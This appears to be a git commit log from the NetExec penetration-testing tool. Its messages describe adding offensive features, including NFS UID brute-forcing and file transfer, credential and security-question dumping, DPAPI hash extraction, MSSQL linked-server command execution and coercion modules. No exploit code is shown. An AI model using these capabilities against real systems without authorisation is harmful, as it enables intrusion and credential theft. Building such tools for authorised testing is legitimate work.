Alexander Neff 998b8787a6 Change arg help 2024-10-01 17:59:24 -04:00
Alexander Neff b5f9e131ee Add error handling for upload, fix permissions for upload and fix upload for windows 2024-10-01 17:43:45 -04:00
Alexander Neff f396ff0b66 Simplify code 2024-10-01 16:39:07 -04:00
termanix 1eafa319bc fixed and done get-file for windows and linux
Signed-off-by: termanix <[email protected]>
2024-10-01 17:30:14 +03:00
Alexander Neff c1308e6186 Fix local file name 2024-09-30 19:04:33 -04:00
Alexander Neff e737dd6aca Remove unused function, fix uid detection, add comments and simplify code 2024-09-30 18:50:58 -04:00
Alexander Neff 555347752a Fix bug with uid and uid autodetection 2024-09-30 18:49:33 -04:00
termanix f95b9354b7 Renamed get file dispay name
Signed-off-by: termanix <[email protected]>
2024-09-30 23:06:45 +03:00
termanix 74d7d07b1f import os for downloaded files
Signed-off-by: termanix <[email protected]>
2024-09-30 23:00:00 +03:00
termanix fbfbcc3baa added get, puf file flags
Signed-off-by: termanix <[email protected]>
2024-09-30 22:53:49 +03:00
termanix 79ecfa8a4d uid-brute removed. Added get-file and put-file
Signed-off-by: termanix <[email protected]>
2024-09-30 22:52:24 +03:00
termanix 4ae6c195f0 Fixed --enum-shares UID bug and removed uid-brute on proto-args 2024-09-30 09:30:41 +03:00
Alexander Neff 62b535ea50 Rename Reachable Networks to Access List 2024-09-29 18:55:55 -04:00
Alexander Neff 84aa78898b Implementing UID autodetection, making the uid flag redundant 2024-09-29 18:43:06 -04:00
Alexander Neff 8c5b3617e8 Fix bug for insufficient permissions, remove unnecessary code and formating 2024-09-29 18:17:02 -04:00
termanix 9031589f0d Changed enum-shares default depth to 3 from 1
Signed-off-by: termanix <[email protected]>
2024-09-29 15:39:49 +03:00
termanix a877047ba2 all feature flags done with output
Signed-off-by: termanix <[email protected]>
2024-09-29 15:38:28 +03:00
Alexander Neff 6f24858dc0 Fix indents 2024-09-29 07:09:44 -04:00
Alexander Neff 1a38a288df Add share usage 2024-09-29 07:05:00 -04:00
Alex aef2675cee Merge pull request #406 from Pennyw0rth/neff-fix-mssql-log
Fix file logging for display messages
2024-09-28 23:02:57 +02:00
Alexander Neff b48f6945ae Added uid proto arg and rwx permission check for enum_shares 2024-09-28 16:59:39 -04:00
Alexander Neff 4cd46c7fd9 Separate enum_shares and uid_brute 2024-09-28 15:53:09 -04:00
Alexander Neff fadce581ef Improve code 2024-09-28 15:40:41 -04:00
Alexander Neff 1e624d8606 Add share permission enumeration 2024-09-28 15:40:28 -04:00
Alexander Neff c23db63b97 Add connection timeout option 2024-09-28 12:17:09 -04:00
Alexander Neff 6b5eb1a240 Remove plaintext_login as there is no such thing in NFS3 2024-09-28 11:57:28 -04:00
Alexander Neff e9ed46b6e0 Correct port description 2024-09-28 11:57:01 -04:00
Alexander Neff f05601f645 Use init as create_conn_obj function and improve code structure 2024-09-28 11:56:46 -04:00
Alexander Neff 8c39962dba Add generel disconnect instruction to be implemented by protocols 2024-09-28 11:47:11 -04:00
Alexander Neff ff194d3e0b Remove hardcoded nxc_path 2024-09-28 07:29:05 -04:00
Alexander Neff f47ebb3356 Add file&line number to debug file log 2024-09-28 07:13:02 -04:00
Joachim De Bats 9aca9c246a WDS module 2024-09-26 16:42:24 +02:00
Alex 04a695ff93 Merge pull request #341 from 357384n/main
Add new SMB module to get the PowerShell history on all the users
2024-09-25 00:38:38 +02:00
Alex ac2dfc95e7 Merge pull request #422 from Pennyw0rth/neff-fix-maq
Fix maq module if MAQ not set
2024-09-24 23:56:22 +02:00
Pavel Redyukov 3b1eac7be5 refactoring to fix InterfaceError of DB 2024-09-23 15:21:48 +03:00
termanix ad1b421422 Fixed spam output while uid bruteforce
Signed-off-by: termanix <[email protected]>
2024-09-23 12:57:54 +03:00
Alexander Neff d89709feac Update PyNfsClient 2024-09-22 19:34:35 -04:00
Alexander Neff 045f2c291b Fix recursion depth 2024-09-22 19:28:28 -04:00
Alexander Neff f191f780a3 Renaming, simplifying code and adad recursion depth to share listing 2024-09-22 19:27:59 -04:00
Alexander Neff 78a270b57b Switch pynfsclient to our fork 2024-09-22 16:37:55 -04:00
Alexander Neff ee549ccae7 Add ipv6 message and formating 2024-09-21 12:46:59 -04:00
Alexander Neff e1ecf90a78 Formating 2024-09-21 12:04:55 -04:00
Alexander Neff 4e855f811f Properly add pynfsclient dependency 2024-09-21 12:04:39 -04:00
Alexander Neff 31b909b97d Check if there is a history before saving 2024-09-21 09:11:29 -04:00
Alexander Neff 5da577f5c3 Optimise export code 2024-09-21 09:06:13 -04:00
Alexander Neff bb95e0faa4 Add "passw" as keyword 2024-09-21 08:55:02 -04:00
Alexander Neff 1b4081e54c Simplify code and formatting 2024-09-21 08:54:09 -04:00
Alex 99d4e49ac1 Merge pull request #423 from Pennyw0rth/neff-patch-1 2024-09-20 09:27:08 +02:00
Alexander Neff d52a651bd4 Fix logger protocol when using --no-smb 2024-09-19 17:27:56 -04:00
Alexander Neff 6dbf14b87f Fix maq module if ms-DS-MachineAccountQuota is not set 2024-09-19 16:55:35 -04:00
Alexander Neff cea324c97b Fix escape sequence 2024-09-19 16:40:04 -04:00
Alex bb2f3ec13a Merge pull request #418 from a-urth/main
Encode delegate/impersonate user name string as utf8 unicode, not latin1
2024-09-18 23:37:57 +02:00
Alex 2eebb7c513 Merge pull request #417 from jsherwood0/make_version_arg_universal
Make --version switch universal so help2man will work properly
2024-09-18 23:25:42 +02:00
au 0dbea8e8a3 encode string as utf8 unicode, not latin1 2024-09-14 14:33:06 +03:00
root@devkali 9153779671 Make --version switch universal so help2man will work properly 2024-09-13 17:11:42 -04:00
deathflamingo 6477771cfe Merge pull request #1 from deathflamingo/deathflamingo-mssql-modules-1
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-09-11 15:15:42 +05:30
deathflamingo 87199f6e5c Add files via upload
Signed-off-by: deathflamingo <[email protected]>
2024-09-11 15:10:33 +05:30
termanix 509f6d1373 Update ldap.py ruff fix
Signed-off-by: termanix <[email protected]>
2024-09-05 12:38:57 +03:00
termanix a9181f469d Update ldap.py for find delegation
Added try except on header

Signed-off-by: termanix <[email protected]>
2024-09-05 12:32:23 +03:00
Alex e927f33f2b Merge pull request #407 from r4vanan/main
Smbghost scanning module
2024-09-03 01:19:44 +02:00
Alexander Neff 6e5929175c Make description more precise 2024-09-02 18:52:56 -04:00
Alexander Neff ea9acdcb40 Fix ruff linting 2024-09-02 16:51:43 -04:00
Alex 7657f9603a Merge pull request #342 from Kahvi-0/main
schtask_as Improvement - Options for custom task, file, and location.
2024-09-02 00:44:56 +02:00
Alexander Neff 0175be7b08 Added example path and os.path.join for flexibility 2024-09-01 18:38:56 -04:00
Alex 9cc44f65e7 Merge pull request #306 from jubeaz/module_wcc_add_defender
Module wcc added some defender checks
2024-09-01 21:45:09 +02:00
Vinoth Kumar 2744a2c4ed Merge branch 'Pennyw0rth:main' into main 2024-09-01 20:18:27 +05:30
Vinoth Kumar b771c28b51 removed unwanted code
Signed-off-by: Vinoth Kumar <[email protected]>
2024-09-01 20:17:54 +05:30
Alexander Neff 7070305e6c Add faster login for kerberos 2024-09-01 07:28:30 -04:00
Alexander Neff cafa670113 Create new connection object if we want to log in 2024-09-01 07:28:02 -04:00
Alex e14be335c3 Merge pull request #393 from Pennyw0rth/neff-fix-kerberos
Fix issues with kerberos and non NTLM domains
2024-09-01 12:44:29 +02:00
Vinoth Kumar 3fd8598389 Merge branch 'Pennyw0rth:main' into main 2024-08-31 09:54:11 +05:30
Alexander Neff 425ad8ea23 Remove unnecessary new line 2024-08-30 14:18:14 -04:00
Alex 45a9121bb1 Merge pull request #328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2024-08-30 20:09:18 +02:00
Alexander Neff e4b7ea64eb Increase plaintext&hash login speeds, also only evaluate smbv1 at initialisaion 2024-08-29 18:58:06 -04:00
Alex 9bc05e55ee Merge pull request #394 from Pennyw0rth/neff-workflows
Updated github workflows
2024-08-29 14:26:25 +02:00
Alexander Neff 0034048da4 Simplify code 2024-08-28 17:34:56 -04:00
Alex e7acdc78e1 Merge pull request #409 from cauan/patch-2
ldap-checker.py Catch connection errors
2024-08-27 23:59:12 +02:00
Alexander Neff 35b4c4c63d Fix logging and improve reason text 2024-08-27 17:55:07 -04:00
Alexander Neff dfb28184a8 Improve config text 2024-08-27 17:54:49 -04:00
Alexander Neff 4a776651c1 Formating 2024-08-27 17:35:59 -04:00
Alexander Neff 1c19cbe836 Integrate new registry checks into existing code 2024-08-27 17:35:42 -04:00
Alex 62496a3863 Merge pull request #408 from cauan/patch-1
ldap-checker.py false positive fixed
2024-08-27 22:02:55 +02:00
Cauan 4a0f0381a6 Update ldap-checker.py
Changed catch all exception as suggesteed.

Signed-off-by: Cauan <[email protected]>
2024-08-27 14:32:41 +10:00
Cauan 34ac854a3c ldap-checker.py Catch connection errors
Socket connection moved into the try/catch to catch connection errors.

Signed-off-by: Cauan <[email protected]>
2024-08-26 22:10:46 +10:00
Cauan 2de896cb49 ldap-checker.py false positive fixed
run_ldap return code changed from False to None when errors are found to avoid false positives such as when connection fails.

Signed-off-by: Cauan <[email protected]>
2024-08-26 21:59:10 +10:00
Vinoth Kumar 821f20e114 Merge branch 'main' into main 2024-08-26 09:16:34 +05:30
Alexander Neff 43c1d33904 Replaced DEPRECATED with REMOVED 2024-08-25 13:36:16 -04:00
Alexander Neff 24ad5e63e2 Readd old coercion modules for deprecation warning 2024-08-25 13:34:26 -04:00
Alexander Neff 2ac0d4d543 Merge "main" into "coerce_plus" 2024-08-25 13:17:38 -04:00
Alexander Neff 4ac77486d0 Formating 2024-08-25 13:12:15 -04:00
Alexander Neff 2419d2d4d8 Fix MSEven pipe and add ports 2024-08-25 13:09:21 -04:00
Alex f9d3caab63 Merge pull request #399 from Pennyw0rth/NeffIsBack-patch-1
Add Unix availability to README.md
2024-08-25 16:28:24 +02:00
Vinoth Kumar 0cc6151a0b Smbghost module
Module to scan for SMBGhost (CVE-2020-0796) Vulnerability

Signed-off-by: Vinoth Kumar <[email protected]>
2024-08-25 19:45:57 +05:30
Alexander Neff cd9e1adcfd Delete log level filter for file logging 2024-08-25 09:46:12 -04:00
0xQRx a8954f1f32 Restore removed comment.
Signed-off-by: 0xQRx <[email protected]>
2024-08-24 18:52:46 -04:00
0xQRx 363691aa4f added is_xp_cmdshell_enabled() function to check mssql if xp_cmdshell is already enabled, to avoid altering its state 2024-08-24 18:09:12 -04:00
wil 675480c5ca Add file write check on smb 2024-08-24 19:45:52 +02:00
Alexander Neff ee9409a387 Revert 0ca3c43 as this stops some messages from getting logged to file 2024-08-24 08:50:48 -04:00
Alexander Neff f9799496ac Change README 2024-08-24 07:59:47 -04:00
Alex 83514bf2a9 Merge pull request #374 from joaovarelas/main
Add module to lookup hostname of Hyper-V host - 'hyperv-host.py'
2024-08-24 13:37:47 +02:00
Alexander Neff b9d788b8d4 Change Exception to DCERPCException and added debug log 2024-08-15 13:36:50 -04:00
joaovarelas b59f252363 Merge branch 'Pennyw0rth:main' into main 2024-08-11 11:12:32 +01:00
Alex db4c2fad2b Add Unix availability to README.md
Signed-off-by: Alex <[email protected]>
2024-08-10 23:21:28 +02:00
Alexander Neff 375611cfd5 Add another success rpc error message 2024-08-04 19:02:04 -04:00
Alexander Neff 96bff4e3aa Added ERROR_BAD_NETPATH to the positiv result list 2024-08-04 18:41:54 -04:00
Alexander Neff d82ee41d5b Remove auth_level as this breaks the coercion 2024-08-04 18:41:27 -04:00
Alexander Neff af4a28d9b9 Enable manual linting runs for first time PRs 2024-08-04 16:47:56 -04:00
Alexander Neff 5810d14038 Updated pipeline to latest versions 2024-08-04 16:47:41 -04:00
Alex 739791e33b Merge pull request #392 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus bug where len was applied to the count not an array
2024-08-04 22:38:27 +02:00
Alex e982a68b44 Merge pull request #386 from Pennyw0rth/neff-sccm
Adding SCCM LDAP Reconnaissance to NetExec
2024-08-03 19:06:09 +02:00
Alexander Neff 66da98c318 Fix laps login with kerberos 2024-08-03 10:01:55 -04:00
Alexander Neff 069fb908b0 Fix issues where we need kerberos authentication logic, but implicitely use kerberos (e.g. --use-kcache) 2024-08-03 08:44:36 -04:00
Alexander Neff 1292f0f8fb Fix spider_plus bug where len was applied to the count not an array 2024-08-02 11:57:09 -04:00
Alex f8ac2e1ff1 Merge pull request #391 from glefait/patch-1
Fix: module spider_plus with filtered folders
2024-08-02 17:42:59 +02:00
Guillem Lefait 1839c0cb4c Fix: module spider_plus with filtered folders
With option to filter folders is set and a folder matches the filter, there is a typo in the incremented counter.

The counter should be ` self.stats[f"num_{result_type}s_filtered"]`  and not `self.stats[f"{result_type}s_filtered"]`.

The latter does not exists and trigger the following error:
```
KeyError: 'folders_filtered'
```

Signed-off-by: Guillem Lefait <[email protected]>
2024-08-01 11:01:16 -04:00
Alex e76d4e98fe Merge pull request #390 from Pennyw0rth/neff-fix-mssql_priv
Fix admin check in mssql_priv
2024-08-01 14:45:01 +02:00
joaovarelas 506486fa62 Merge branch 'Pennyw0rth:main' into main 2024-07-31 08:57:51 +00:00
Alex a28c441ae2 Merge pull request #378 from nikaiw/check_admin_false_positive
Fix check admin false positive on certain target (e.g Netapp)
2024-07-28 19:59:29 +02:00
Alexander Neff 3db14d4de4 Formating 2024-07-28 12:49:35 -04:00
Alexander Neff 6afb8bba0b Adding rpc auth level 2024-07-28 12:46:59 -04:00
Alexander Neff 7bb04c92b1 Formating 2024-07-27 18:05:17 -04:00
Alex 80d03ad3ee Merge pull request #387 from Pennyw0rth/neff-fix-netbios
Stop NetBiosTimeout and error producing large stack traces
2024-07-27 20:52:09 +02:00
joaovarelas b4612ea38c trycatch and suppress errors mod hyperv-host.py 2024-07-27 19:05:59 +01:00
joaovarelas 11983af3fb Merge branch 'Pennyw0rth:main' into main 2024-07-27 17:46:23 +00:00
Alexander Neff 41a21ee838 Fix admin check in mssql_priv 2024-07-27 10:59:38 -04:00
Alex c0adbf1eb8 Merge pull request #389 from 3ldidi94/patch-1
Update handlekatz.py pypykatz import
2024-07-27 15:31:41 +02:00
3ldidi94 41b8fbb715 Update handlekatz.py
Fix pypykatz import in handlekatz

Signed-off-by: 3ldidi94 <[email protected]>
2024-07-27 13:31:20 +02:00
Alexander Neff 4504cf29d0 Add comment 2024-07-26 17:06:35 -04:00
Alexander Neff 693da7120b Stop NetBiosTimeout and error producing large stack traces 2024-07-26 16:59:48 -04:00
Alexander Neff 413e5cd5d0 Fix display bug with ip and add creds to sccmhunter 2024-07-26 15:38:31 -04:00
Alexander Neff f18c442a10 Finish SCCM string enumeration 2024-07-26 13:12:06 -04:00
zblurx 548b6d0c28 Merge pull request #384 from Pennyw0rth/zblurx-patch-1
Update dploot to 2.7.4 in pyproject.toml
2024-07-25 18:08:00 +02:00
zblurx 7b3145e6ec udpate poetry.lock 2024-07-25 17:58:15 +02:00
zblurx 0234219daa Update dploot to 2.7.4 in pyproject.toml
Signed-off-by: zblurx <[email protected]>
2024-07-25 17:47:58 +02:00
Alex cb639c8854 Merge pull request #295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2024-07-23 20:24:07 +02:00
Alexander Neff 74dcef77ce Add CAS attribute 2024-07-21 06:06:41 -04:00
termanix 18a857396c Update ldap.py, added findDelegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:59:10 +03:00
termanix 176c480beb Update proto_args, added find delegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:54:20 +03:00
Alexander Neff 21515206b4 Improve code readability 2024-07-20 17:34:49 -04:00
Alexander Neff b9882167a3 Finish SCCM basic enumeration 2024-07-20 17:24:15 -04:00
NK 6a735c1619 add an option to ioxidresolver to get only interfaces IP for IP different than targets 2024-07-20 22:43:15 +02:00
NK 703191308a Fix check admin false positive on certain target (e.g Netapp) 2024-07-20 22:00:06 +02:00
NK be9ee13290 This module automate extraction of dpapi "hash" based on the user's protected masterkey
Big thanks to @Fist0urs for the awesome groundwork
This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
Currently the module is written to only generated dpapi "hash" in the context of a Domain
(Hashcat -m 15310 or -m 15900)
This is a first ugly version, lot of room for improvement
2024-07-20 21:48:47 +02:00
joaovarelas f54deff68e edited reg query fail msgs 2024-07-20 14:29:04 +01:00
joaovarelas 43da81861f Merge branch 'Pennyw0rth:main' into main 2024-07-20 14:27:30 +01:00
Alex 398716de24 Merge pull request #376 from Pennyw0rth/neff-patch-2
Add try&except block for DCERPCExceptions to fix #373
2024-07-19 23:37:49 +02:00
Alexander Neff 4cb3b417d6 Resolve all computer dns_hostnames of all sids that have full controle over the sccm object 2024-07-19 16:51:57 -04:00
Alex a1ca2697e3 Merge branch 'main' into neff-patch-2 2024-07-19 19:21:31 +02:00
Alex 8ed41498ff Merge pull request #375 from Pennyw0rth/neff-patch-1
Fix ruff linting
2024-07-19 19:21:12 +02:00
Alexander Neff ab0af5ab4a Add try&except block for DCERPCExceptions and updated module 2024-07-19 12:27:24 -04:00
Alexander Neff 6651fb0698 Fix ruff linting 2024-07-19 12:11:58 -04:00
Alex 1839f7a5ac Merge pull request #372 from Kamuno/fix-nla-format
Fixed nla detection and error format string
2024-07-19 18:07:57 +02:00
joaovarelas 8a6fb7c67a add module hyperv-host.py 2024-07-19 16:25:39 +01:00
Christopher Beckmann a1c57ee8d2 Fixed nla detection and error format string 2024-07-19 15:43:03 +02:00
Alexander Neff 280baadf07 Add try&except block for every user so we continue if the first fails 2024-07-18 18:39:45 -04:00
Alexander Neff 766ef1e81e Update impacket 2024-07-18 18:26:56 -04:00
Alex 5ae4134ab7 Merge branch 'main' into dumpSecurityQuestionsModule 2024-07-19 00:25:54 +02:00
Alexander Neff 2575bce0d6 Swap bbreak with continue as we would only query the first user if he hasnt security questions 2024-07-18 18:23:59 -04:00
Alex 3a5c109fed Merge pull request #371 from termanix/patch-5 2024-07-18 09:46:21 +02:00
termanix 5b186f4295 Update enum_av Added Trellix EDR
Signed-off-by: termanix <[email protected]>
2024-07-17 22:58:26 +03:00
termanix e0faaf3dbf Changed uid-brute for to keep consistency with SMB 2024-07-09 09:35:09 +03:00
termanix d071631c1a Update e2e_commands.txt - bruteforceuid added
Signed-off-by: termanix <[email protected]>
2024-07-08 18:26:49 +03:00
termanix 59b6bf8f76 Update proto_args.py
Signed-off-by: termanix <[email protected]>
2024-07-08 18:13:15 +03:00
termanix 7e52f8da69 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-07-08 17:08:39 +03:00
Alex 54cad53328 Merge pull request #365 from Pennyw0rth/neff-patch-1
Remove message that could be too annoying
2024-07-06 13:34:28 +02:00
Alexander Neff e96c301721 Change fail log to debug 2024-07-06 07:04:50 -04:00
Alexander Neff 3c64d27c68 Remove message that could be too annoying 2024-07-06 06:49:40 -04:00
mpgn 71cb5e99ef Merge pull request #361 from Pennyw0rth/dcom_fix
Fix mmcexec method thanks to @ippsec AND a lot of other small things
2024-07-06 12:11:36 +02:00
Alexander Neff d036fa8c04 Fix kerberos authentication when NTLM is not available 2024-07-05 21:15:29 -04:00
Alexander Neff fbf2546172 Fix laps login with kerberos 2024-07-05 18:18:57 -04:00
Alexander Neff abb5f1d99a Simplify error log 2024-07-05 15:55:41 -04:00
Alexander Neff d9ce9e9b62 Remove unused import and simplify addition 2024-07-04 13:55:38 -04:00
Alexander Neff 4045bb4185 Deactivate kerberos auth when retrieved laps creds 2024-07-04 13:50:37 -04:00
Alexander Neff 9d8eeb80e1 Update lsassy to 3.1.12 2024-07-04 12:56:41 -04:00
mpgn f17ea75de3 fix ruff 2024-07-04 18:19:36 +02:00
mpgn 18369b1739 Remove ntlm hash for laps (as not compatible with py10) + add dns_server option to laps 2024-07-04 18:12:12 +02:00
mpgn 3c89bcb19a remove array (not great with a lot of users on the domain 2024-07-03 23:44:16 +02:00
mpgn 68c827dcf6 add try catch on db 2024-07-03 14:47:56 +02:00
mpgn eb6be54ff1 fix kerberos support is not ntlm supported with fqdn machine name 2024-07-03 12:35:57 +02:00
mpgn 852e7819e5 fix ruff test 2024-07-02 23:44:58 +02:00
mpgn 42ce37d231 if ntlm not supported (only kerberos) big big stacktrace 2024-07-02 22:10:08 +02:00
mpgn 63e8295c46 if ldap connection failed when getting info, there is no need to continue to auth 2024-07-02 20:48:59 +02:00
mpgn b86f675100 fix wrong return in loop 2024-07-02 17:11:56 +02:00
Alex ccbeb4e402 Merge pull request #357 from termanix/patch-3
Small Bug Fix on Listing SMB Shares with Kerberos Auth
2024-07-02 17:01:19 +02:00
Alexander Neff 64e78fd7cd Fixing shares function with kerberos and minor database stuff 2024-07-02 10:56:59 -04:00
Alex d8f0f41d76 Merge pull request #364 from termanix/patch-4
Bug Fix While Using Bloodhound with --use-kcache Issue #363
2024-07-02 16:43:53 +02:00
Alexander Neff 9f3a77c2ab Fix missing colon 2024-07-02 10:26:58 -04:00
termanix 63f2d6943d Update ldap.py
swapped the execution&logging lines. For if there is an error on auth file

Signed-off-by: termanix <[email protected]>
2024-07-02 17:23:07 +03:00
termanix c83895697f Bug Fix While Using Bloodhound with --use-kcache Issue #363
Signed-off-by: termanix <[email protected]>
2024-07-02 17:05:34 +03:00
mpgn 98236804ab fix stacktrace with logger 2024-07-02 15:21:32 +02:00
Alexander Neff f9b61391ca Add logging statement to dcom connection 2024-07-02 07:33:56 -04:00
Alexander Neff 5b931d0cfa Fix add-computer if domain could not be resolved 2024-07-01 17:32:15 -04:00
Adamkadaban 0d5ac4e59e fix find/replace nonsense 2024-06-30 18:07:55 -07:00
Adamkadaban 45e1f0815f make variable names pythonic 2024-06-30 17:54:39 -07:00
Adam Hassan 21b1cfbb8c Merge branch 'Pennyw0rth:main' into dumpSecurityQuestionsModule 2024-06-30 17:49:55 -07:00
Alexander Neff 018ad9dbe7 Working on SCCM enumeration 2024-06-30 20:25:22 -04:00
Alexander Neff 1f83e6393f Fix bug where ldap parser would not parse all values of an attribute containing a list 2024-06-30 20:25:06 -04:00
mpgn da088d9e60 fix args with bloodhound (report from discord) 2024-06-30 17:50:56 -04:00
mpgn ce31e24111 add double quote 2024-06-30 17:38:35 -04:00
mpgn aab22cf4bc update require_admin 2024-06-30 17:33:55 -04:00
mpgn 6e391cad46 fix mmcexec method thanks to @ippsec 2024-06-30 17:00:16 -04:00
Alexander Neff 5f45bfcf37 Working on sccm recon 2024-06-28 12:10:22 -04:00
Alexander Neff 592793c718 Add missing requires_admin 2024-06-28 12:10:13 -04:00
termanix 5983b86b52 Small Bug Fix on Listing SMB Shares with Kerberos Auth
This is a bug I came across while working with Kerberos on another project.  If the information of the user in the ticket is not in the database, it gives an index error cause of user_id is empty. I thought about adding the ticket information as user_id, but since it wouldn't have any meaning when it expired, I proceeded with pass.


Signed-off-by: termanix <[email protected]>
2024-06-25 18:51:32 +03:00
termanix 449f556dc1 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-25 16:05:38 +03:00
Alex 669a55fd98 Merge pull request #356 from Pennyw0rth/neff-fix-332 2024-06-25 00:26:55 +02:00
Alex ead02d812e Merge pull request #286 from termanix/New_Module_Bitlocker 2024-06-25 00:23:44 +02:00
Alex cce5c32eb1 Merge pull request #293 from Sant0rryu/main 2024-06-24 00:37:59 +02:00
Alex b0b4641724 Merge pull request #355 from bfnserra/patch-1 2024-06-24 00:36:37 +02:00
Alexander Neff 8bbab764c5 Change execution to cmd and fix bugs 2024-06-23 18:18:39 -04:00
Alexander Neff 4f5453ee09 Merge branch 'main' into bitlocker 2024-06-23 17:51:37 -04:00
Alexander Neff 9d32ea0a2b Add exception handling to prevent crashes against linux hosts 2024-06-23 13:54:48 -04:00
termanix b9d73524ee Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-22 16:39:55 +03:00
Nicolas Serra e50f7acbd5 Update pso.py
Fix Typo (obersationWindow to observationWindow)

Signed-off-by: Nicolas Serra <[email protected]>
2024-06-21 19:12:03 +02:00
Alex ada4905922 Merge pull request #354 from aelmosalamy/patch-1
fix: little typo in help args
2024-06-20 00:51:53 +02:00
Adham Elmosalamy e13ec2776e fix: little typo in help args
Signed-off-by: Adham Elmosalamy <[email protected]>
2024-06-20 01:30:30 +04:00
jubeaz 073938f67a merge from main 2024-06-19 08:02:21 +02:00
Lodos2005 2ec51902a3 Add coerce_plus Module 2024-06-18 19:00:12 +03:00
Kahvi-0xFF 755113d3c7 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 447bded268 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF e7689542f2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF cf8c1b19ca Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 27caff59d5 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 19ea1bc559 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 73b35eb0ea Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF d5bb6d9606 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Kahvi-0xFF 1e90103b4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-06-18 11:13:09 -04:00
Sébastien Miguel 5ccf0d3553 Update powershell_history.py
add description to module option

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 8132bf73d3 Update powershell_history.py
Add the path to output file in the output

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel 1105dcdf52 Update powershell_history.py
Add export feature and some keywords

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Sébastien Miguel bfed3d462b Create powershell_history.py
First commit 

Signed-off-by: Sébastien Miguel <[email protected]>
2024-06-18 11:13:05 -04:00
Adamkadaban 39b877a3f1 use context.log.fail instead of print and add debugging 2024-06-18 11:06:42 -04:00
Adamkadaban da61939a0d only import loads function from json. 2024-06-18 11:06:42 -04:00
Adamkadaban 3724142717 add security-questions module to e2e test 2024-06-18 11:06:42 -04:00
Adamkadaban 4919fe05fd add comments to security-questions module 2024-06-18 11:06:42 -04:00
Adamkadaban 6838793301 ruff checks for security-questions module. all passing now 2024-06-18 11:06:42 -04:00
Adamkadaban a579d2296a more verbose answer for when user has no questions
this can happen when json is `{"version":1,"questions":[]}`
2024-06-18 11:06:42 -04:00
Adamkadaban cc251e8b19 get rid of stray comment 2024-06-18 11:06:42 -04:00
Adamkadaban dcee201380 make this a high privilege module 2024-06-18 11:06:42 -04:00
Adamkadaban 39006b1fed add new security-questions module
this module will dump security questions and answers for all users on the machine assuming run as administrator

requires this PR to work: https://github.com/fortra/impacket/pull/1743
2024-06-18 11:06:42 -04:00
termanix ea5426b468 Update nfs.py
Bruteforce-UID added.

Kerberos auth left.

Signed-off-by: termanix <[email protected]>
2024-06-17 20:55:02 +03:00
termanix 8c2155cae5 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-17 11:42:52 +03:00
termanix 0b5bad9ba0 Update nfs.py
UID Brute Force added (To Do, Brute number will be taken by user)
disconnection debug bug fixed

To Do Kerberos Auth

Signed-off-by: termanix <[email protected]>
2024-06-17 11:42:35 +03:00
Alexander Neff c09304ef6c Autoformat 2024-06-14 20:39:04 -04:00
Alexander Neff 008c490f5b Reworked interface module to core functionality and fixed all its bugs 2024-06-14 20:38:29 -04:00
Alexander Neff 9d3bc4d071 Formating and ruff 2024-06-14 17:36:40 -04:00
Alex 3eaa1632c9 Merge branch 'main' into main 2024-06-14 16:46:48 -04:00
Marshall Hallenbeck 65fc94f8dd nfs: properly initialize table variables to None 2024-06-13 12:37:54 -04:00
Marshall Hallenbeck 7b37015b62 nfs: formatting, commenting, and small fixes 2024-06-13 11:14:17 -04:00
Marshall Hallenbeck 4c5844820f nfs(db): add LIR and shares table and reflection; rename conn to sess 2024-06-13 11:07:26 -04:00
Marshall Hallenbeck 27b52e2da4 deps: add pynfsclient 2024-06-13 11:02:20 -04:00
termanix d3c9d7258a Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-11 22:12:42 +03:00
termanix fbec1c7c31 Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-09 15:34:10 +03:00
termanix 71391b11de Merge branch 'Pennyw0rth:main' into NFS-Protocol 2024-06-07 10:26:58 +03:00
Marshall Hallenbeck f1894b2c6b remove commited pyc files 2024-06-05 09:01:18 -04:00
termanix 9cf6d983e2 Update e2e_commands.txt
Signed-off-by: termanix <[email protected]>
2024-06-04 12:26:15 +03:00
termanix fbfef1b4b0 Update e2e_commands.txt
Added NFS

Signed-off-by: termanix <[email protected]>
2024-06-04 12:24:01 +03:00
termanix 80839d850e New NFS Protocol
Signed-off-by: termanix <[email protected]>
2024-06-04 10:04:14 +03:00
Shad0wC0ntr0ller db3e7923fb Update pre2k.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:40:16 -04:00
Shad0wC0ntr0ller 56feb10348 Identify Pre-Created Computer Accounts
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-05-27 20:04:58 -04:00
